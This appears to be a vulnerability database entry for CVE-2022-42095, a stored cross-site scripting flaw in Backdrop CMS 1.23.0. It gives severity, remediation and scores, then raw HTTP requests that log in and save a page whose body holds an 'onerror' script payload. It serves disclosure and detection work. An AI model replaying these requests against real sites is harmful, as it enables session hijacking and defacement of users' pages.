| Title | Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored) |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor. |
| CVSS Score | 4.8 |
| EPSS Score | 0.53152 |
| CVE ID | CVE-2022-42095 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve xss cms backdrop authenticated backdropcms vuln |
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
GET /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.6
Connection: close
Accept-Encoding: gzip
POST /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:6.0; vi-VN) AppleWebKit/535.6.1 (KHTML, like Gecko) Version/4.1 Safari/535.6.1
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=A0VH6t&pass=P7vI49&form_build_id=SOAsyE&form_id=user_login&op=Log+in
GET /?q=node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
POST /?q=node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Connection: close
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
title=38FClD2R5g98nqR9MvlwmLf5vEU&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id=lX07ez&form_token=8ztlBJ&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
POST /?q=38FClD2R5g98nqR9MvlwmLf5vEU HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42095.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42095.pcap
N/AN/A